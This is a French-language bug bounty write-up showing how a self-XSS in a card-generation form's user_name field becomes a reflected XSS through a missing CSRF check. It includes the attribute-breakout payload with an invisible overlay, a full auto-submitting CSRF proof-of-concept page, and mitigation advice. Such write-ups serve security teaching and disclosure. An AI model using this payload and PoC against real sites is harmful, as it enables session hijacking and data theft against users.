WriteupIntermediate8 min de lecture2025-11-10
LANG:EN|FR

De Self-XSS à XSS Réfléchi : Une Histoire d'Escalade via CSRF

De Self-XSS à XSS Réfléchi : Une Histoire d'Escalade via CSRF
#XSS#CSRF#Chaînage de Vulnérabilités#Bug Bounty#Escalade#Sécurité Web

root@thebughunter:~$ cat escalade_vulnerabilite.txt

Cible : Fonctionnalité de Génération de Cartes
Découverte Initiale : Self-XSS (Impact Faible)
Vecteur d'Escalade : Vulnérabilité CSRF
Impact Final : XSS Réfléchi (Impact Moyen)

La Découverte Initiale

Je testais une fonctionnalité de génération de cartes sur un programme de bug bounty quand j'ai trouvé ce qui ressemblait à une vulnérabilité self-XSS. Rien de spécial à première vue — juste un autre champ de saisie qui reflétait les données utilisateur sans assainissement approprié.

L'application permettait aux utilisateurs de créer des cartes personnalisées en entrant leur nom et d'autres informations.

DÉCOUVERTE INITIALE

Vulnérabilité : Self-XSS dans un champ de saisie
Impact : Limité à la session de l'attaquant
Sévérité : Faible (généralement rejeté)

La vulnérabilité se trouvait dans le paramètre user_name. J'ai pu échapper du contexte HTML avec un payload comme celui-ci :

user_name=test"onmouseover="alert('XSS')"style="position:absolute;width:100%;height:100%;top:0;left:0;"payload

L'application le reflétait sans assainissement, créant une superposition invisible qui déclenchait le XSS au survol de la souris. Cool, mais inutile puisque cela n'affectait que ma propre session. La plupart des programmes ne regarderont même pas les rapports de self-XSS.

Trouver la Pièce Manquante

Mais ensuite, j'ai remarqué quelque chose d'intéressant en fouillant dans l'application — le endpoint de génération de cartes n'avait absolument aucune protection CSRF.

FAIBLESSE DE SÉCURITÉ IDENTIFIÉE

× Aucun jeton CSRF implémenté
× Les cookies n'étaient pas nécessaires
× Requêtes cross-origin acceptées
Requête POST vulnérable au CSRF

Si je pouvais créer une page malveillante qui soumettait automatiquement le payload XSS, je pourrais transformer ce self-XSS inutile en une véritable vulnérabilité XSS réfléchi.

Chaîner les Vulnérabilités

Voici comment j'ai assemblé le tout :

Étape 1 : Construire le PoC CSRF

J'ai créé un simple fichier HTML qui soumettrait automatiquement une requête POST avec mon payload XSS :

<html>
  <body>
    <script>history.pushState('', '', '/');</script>
    <form action="https://example-target.com/generate-card" method="POST">
      <input type="hidden" name="first_name" value="John" />
      <input type="hidden" name="last_name" value="Doe" />
      <input type="hidden" name="card_type" value="standard" />
      <input type="hidden" name="user_name" value="test&quot;onmouseover=&quot;alert('XSS')&quot;style=&quot;position:absolute;width:100%;height:100%;top:0;left:0;&quot;payload" />
      <input type="hidden" name="template_id" value="12345" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Étape 2 : Comprendre la Réponse

Quand le formulaire est soumis, le payload se reflète dans le bouton de téléchargement :

<div class="download-container">
  <a href="#" 
     id="download_link" 
     download="card_by_test"onmouseover="alert('XSS')"style="position:absolute;width:100%;height:100%;top:0;left:0;"payload.png">
    <img src="/icons/download.svg" alt="Download">
    Download Card
  </a>
</div>

Étape 3 : Le Flux d'Attaque

Quand une victime visite ma page malveillante, le formulaire se soumet automatiquement au endpoint vulnérable. La réponse revient avec mon payload XSS intégré. Dès qu'elle bouge sa souris (ce qui arrive pratiquement immédiatement), le JavaScript s'exécute dans son contexte navigateur.

La Différence d'Impact

AVANT (Self-XSS)

• N'affecte que l'attaquant
• Aucun impact réel
• Classé comme informatif
• Pas de prime

APRÈS (XSS Réfléchi via CSRF)

• Affecte tout visiteur de la page malveillante
• Détournement de session possible
• Vol de données sensibles
• Sévérité plus élevée
  • Avant : Je ne peux attaquer que moi-même. Inutile.
  • Après : Je peux attaquer quiconque visite une page que je contrôle. La victime n'a même pas besoin d'être connectée au site cible quand elle visite ma page.

Là on parle d'un vrai impact — détournement de session, vol de données, attaques de phishing…

Décomposition du Payload

Regardons ce qui fait fonctionner ce payload XSS :

test"onmouseover="alert('XSS')"style="position:absolute;width:100%;height:100%;top:0;left:0;"payload

Comment ça marche :

  • test" - Sort du contexte d'attribut HTML
  • onmouseover="alert('XSS')" - Notre gestionnaire d'événement qui exécute le XSS
  • style="position:absolute;width:100%;height:100%;top:0;left:0;" - Crée un élément invisible couvrant toute la page
  • payload - Complète l'injection sans casser le HTML

La superposition invisible est la clé ici. Elle garantit que tout mouvement de souris déclenchera notre payload. La victime ne voit rien de suspect, mais au moment où elle bouge son curseur, c'est terminé.

La Chaîne d'Attaque Complète

DÉCOMPOSITION DE LA CHAÎNE D'ATTAQUE

1.L'attaquant héberge une page CSRF malveillante
2.La victime visite la page de l'attaquant (via phishing, ingénierie sociale, etc.)
3.Le CSRF soumet automatiquement le payload XSS au endpoint vulnérable
4.L'application cible reflète le payload dans la réponse
5.La victime bouge sa souris et le XSS s'exécute dans son contexte

Ce que j'ai Appris

POINTS CLÉS À RETENIR

1. Ne rejetez pas le self-XSS immédiatement — cherchez des moyens de le rendre exploitable
2. Testez toujours la protection CSRF sur les opérations qui modifient l'état
3. Réfléchissez à comment les vulnérabilités peuvent se chaîner ensemble
4. Testez différents contextes et vecteurs d'attaque
5. Documentez clairement vos découvertes pour montrer l'impact complet

Pour les chasseurs de bugs :

Quand vous trouvez un self-XSS, ne fermez pas l'onglet pour passer à autre chose. Prenez quelques minutes pour vérifier :

  • Y a-t-il une protection CSRF sur le endpoint vulnérable ?
  • Pouvez-vous déclencher le payload dans le contexte navigateur de quelqu'un d'autre ?
  • Y a-t-il d'autres vulnérabilités avec lesquelles vous pouvez le chaîner ?

Parfois, la différence entre un rapport rejeté et une découverte critique n'est qu'un peu de recherche supplémentaire.

Pour les développeurs :

La défense en profondeur est importante. Cette chaîne de vulnérabilités a fonctionné grâce à deux défaillances de sécurité distinctes :

  • Aucun assainissement des entrées / encodage des sorties
  • Aucune protection CSRF

Si l'une des deux avait été correctement implémentée, l'attaque n'aurait pas fonctionné.

Stratégies d'Atténuation

CORRECTIONS RECOMMANDÉES

Validation des Entrées & Encodage des Sorties

• Encoder en HTML toutes les entrées utilisateur avant de les refléter dans les réponses
• Implémenter des en-têtes Content Security Policy (CSP)
• Utiliser un encodage des sorties adapté au contexte
• Valider les entrées côté client et côté serveur

Protection CSRF

• Ajouter des jetons CSRF à tous les formulaires qui modifient l'état
• Implémenter l'attribut SameSite sur les cookies (Strict ou Lax)
• Vérifier les en-têtes Origin et Referer

Le Résultat

Cette technique d'escalade a transformé ce qui aurait été un rejet instantané en une découverte valide de sévérité moyenne :

  • Évaluation Initiale : Self-XSS → Rejeté/Informatif
  • Après Escalade : XSS Réfléchi via CSRF → Moyen
  • Impact Réel : Prise de contrôle de compte, vol de données, détournement de session

Le programme a accepté le rapport et il a finalement été corrigé. La clé était de démontrer que la vulnérabilité pouvait réellement affecter de vrais utilisateurs, pas seulement moi-même.

Réflexions Finales

Ce cas montre pourquoi la pensée créative compte dans le bug bounty. Les vulnérabilités de sécurité existent rarement de manière isolée. Ce qui ressemble à une impasse pourrait en fait faire partie d'une chaîne d'attaque plus sérieuse.

Le self-XSS était inutile seul. La protection CSRF manquante n'était pas immédiatement exploitable non plus. Mais ensemble ? Ils ont créé une vulnérabilité valide.

Cherchez toujours la vue d'ensemble. Testez comment différentes faiblesses peuvent se combiner. Et surtout, ne rejetez pas trop vite des découvertes juste parce qu'elles semblent avoir un faible impact à première vue.

Un dernier point — la divulgation responsable est non négociable. Signalez toujours via les canaux appropriés et donnez au programme le temps de corriger les problèmes avant de publier des détails.


[PROCHAINES_ÉTAPES]

Vous voulez en apprendre plus sur les vulnérabilités ou comment débuter dans le bug hunting ?
Analyse IDOR : Plus de 200 Cas Réels
Mon Parcours de Certification BSCP

[SHARE_THIS_POST]
Help spread knowledge in the cybersecurity community